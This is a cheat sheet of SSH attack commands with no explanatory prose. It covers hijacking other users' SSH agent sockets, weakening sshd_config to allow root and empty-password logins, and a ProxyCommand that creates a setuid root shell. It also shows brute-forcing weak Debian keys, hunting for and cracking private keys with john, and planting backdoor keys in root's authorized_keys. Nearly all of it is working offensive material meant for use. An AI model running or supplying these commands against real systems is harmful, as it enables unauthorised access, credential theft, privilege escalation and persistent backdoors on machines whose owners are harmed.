SSH Exploitation

find /tmp -name "agent.*" -type s 2>/dev/null
ls -la /tmp/ssh-*/

# Find which process owns the socket
lsof /tmp/ssh-XXXXXXXX/agent.YYYY 2>/dev/null

# Or check environment of SSH processes
grep -z SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

export SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXX/agent.YYYY
ssh-add -l

ssh root@internal-server
ssh admin@other-host

for sock in $(find /tmp -name "agent.*" -type s 2>/dev/null); do
    export SSH_AUTH_SOCK=$sock
    keys=$(ssh-add -l 2>/dev/null)
    if [ $? -eq 0 ]; then
        echo "=== $sock ==="
        echo "$keys"
    fi
done

ls -la /etc/ssh/sshd_config

PermitRootLogin yes
PasswordAuthentication yes
PermitEmptyPasswords yes

systemctl reload sshd

ls -la /home/*/.ssh/authorized_keys
ls -la /root/.ssh/authorized_keys 2>/dev/null

ssh-keygen -t ed25519 -f /tmp/key -N ""
echo "$(cat /tmp/key.pub)" >> /root/.ssh/authorized_keys
ssh -i /tmp/key root@localhost

Host *
    ProxyCommand /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

cat /etc/debian_version
# Affected: Debian 4.0 (Etch), Ubuntu 7.04-8.04

https://github.com/g0tmi1k/debian-ssh

for key in rsa/2048/*.pub; do
    ssh -i ${key%.pub} -o BatchMode=yes root@TARGET 2>/dev/null && echo "FOUND: $key"
done

find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "id_dsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null | grep -i ssh

ls -la /home/*/.ssh/id_* 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null

chmod 600 stolen_key
ssh -i stolen_key user@TARGET

ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA... attacker@host" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

ssh-keygen -t ed25519 -f /root/.ssh/backdoor -N ""
cat /root/.ssh/backdoor  # Copy private key to attacker
echo "$(cat /root/.ssh/backdoor.pub)" >> /root/.ssh/authorized_keys